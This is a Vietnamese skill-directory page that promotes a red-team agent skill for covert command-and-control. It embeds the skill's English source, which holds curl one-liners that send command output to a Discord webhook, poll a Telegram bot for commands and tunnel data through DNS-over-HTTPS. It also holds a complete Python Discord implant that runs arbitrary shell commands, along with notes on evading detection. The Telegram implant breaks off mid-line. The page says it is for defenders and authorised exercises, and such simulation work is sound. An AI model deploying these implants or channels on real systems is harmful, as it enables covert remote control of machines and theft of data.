Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14126

c2-alternative-channels

Skill này làm gì

Hướng dẫn này mô tả cách kẻ tấn công có thể dùng các dịch vụ web phổ biến để giấu lưu lượng điều khiển trong các yêu cầu trông bình thường. Dành cho người phòng thủ và đội red team muốn phát hiện hoặc mô phỏng mẫu này trong các diễn tập được ủy quyền.

Khi nào nên dùng

  • ✓Khi một đội bảo mật muốn kiểm tra xem lưu lượng đến dịch vụ chat hoặc chia sẻ file có đang được dùng như kênh ẩn không.
  • ✓Khi một diễn tập được ủy quyền cần mô phỏng kênh ẩn để người phòng thủ luyện tập phát hiện.
  • ✓Khi một đội mạng muốn có quy tắc cho lưu lượng DNS hoặc dịch vụ web bất thường.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Lưu lượng đến dịch vụ nhắn tin hoặc chia sẻ file có thể đang giấu lệnh điều khiển trên mạng của chúng tôi không? Vui lòng giúp tôi lên kế hoạch kiểm tra phát hiện.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent mô tả các loại kênh, như bot chat hoặc tra cứu DNS, rồi gợi ý nhật ký và cảnh báo cho thấy khối lượng hoặc mẫu bất thường trên các dịch vụ đó.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Alternative C2 Channels

Non-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.

Quick Reference

# Discord webhook C2 — post command output
curl -X POST -H "Content-Type: application/json" \
  -d "{\"content\":\"$(whoami)\"}" \
  "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"

# Telegram bot C2 — poll for commands
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'

# DNS-over-HTTPS exfil via Google
curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT"

MITRE ATT&CK Mapping

Technique ID Usage in Skill
Web Service T1102 Discord, Telegram, cloud functions as C2 relay
Application Layer Protocol: DNS T1071.004 DNS-over-HTTPS for command/data tunneling
Application Layer Protocol: Mail Protocols T1071.003 IMAP/SMTP email-based C2
Encrypted Channel T1573 TLS-wrapped comms to legitimate services

1. Discord Webhook C2

Discord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to discord.com — a domain almost never blocked.

Setup

# Create a Discord server and channel for C2
# Settings > Integrations > Webhooks > New Webhook
# Copy webhook URL: https://discord.com/api/webhooks/<ID>/<TOKEN>

# Create a bot for command input:
# https://discord.com/developers/applications > New Application > Bot
# Enable MESSAGE CONTENT intent
# Invite bot to server with Send Messages + Read Message History

Implant Logic (Python)

#!/usr/bin/env python3
"""Discord C2 implant — polls channel for commands, posts output via webhook."""
import requests, subprocess, time, json, os

WEBHOOK_URL  = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
BOT_TOKEN    = "<BOT_TOKEN>"
CHANNEL_ID   = "<CHANNEL_ID>"
HEADERS      = {"Authorization": f"Bot {BOT_TOKEN}"}
SLEEP        = 30
LAST_MSG_ID  = None

def poll_command():
    global LAST_MSG_ID
    url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1"
    r = requests.get(url, headers=HEADERS)
    if r.status_code != 200:
        return None
    msgs = r.json()
    if not msgs:
        return None
    msg = msgs[0]
    if msg["id"] == LAST_MSG_ID:
        return None
    LAST_MSG_ID = msg["id"]
    return msg["content"]

def send_output(data):
    # Discord message limit is 2000 chars; chunk if needed
    for i in range(0, len(data), 1900):
        chunk = data[i:i+1900]
        requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"})

while True:
    cmd = poll_command()
    if cmd and cmd.startswith("!exec "):
        try:
            out = subprocess.check_output(
                cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30
            ).decode(errors="replace")
        except subprocess.TimeoutExpired:
            out = "[TIMEOUT]"
        except Exception as e:
            out = f"[ERROR] {e}"
        send_output(out)
    time.sleep(SLEEP)

OPSEC Notes

  • All traffic goes to discord.com:443 — TLS-encrypted, CDN-hosted
  • Rate limit: ~5 requests/sec per webhook; space commands to avoid 429
  • Bot token exposure = full channel compromise; rotate after engagement
  • Discord logs message content — treat the channel as burned post-op

2. Telegram Bot C2

Telegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.

Setup

# Create bot via @BotFather on Telegram:
#   /newbot -> name -> username -> receive BOT_TOKEN
# Get chat ID:
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id'

Implant Logic (Python)

#!/usr/bin/env python3
"""Telegram Bot C2 — long-poll getUpdates, execute, reply."""
import requests, subprocess, time

BOT_TOKEN = "<BOT_TOKEN>"
CHAT_ID   = "<CHAT_ID>"
API       = f"https://api.telegram.org/bot{BOT_TOKEN}"
OFFSET    = 0
SLEEP     = 15

def poll():
    global OFFSET
    r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30})
    updates = r.json().get("result", [])
    for u in updates:
        OF
Câu hỏi thường gặp

Vì sao các kênh này khó chặn?

Hướng dẫn cho biết chúng dùng các dịch vụ phổ biến mà nhiều tổ chức buộc phải cho phép.

Nên theo dõi lưu lượng nào?

Kết nối thường xuyên từ máy chủ đến dịch vụ chat, chia sẻ file hoặc DNS-over-HTTPS mà không được mong đợi.

Có dành cho diễn tập được ủy quyền không?

Có. Mô phỏng các kênh này cần phạm vi bằng văn bản.

Chi tiết

Mô tả gốc của tác giả

Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14126
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự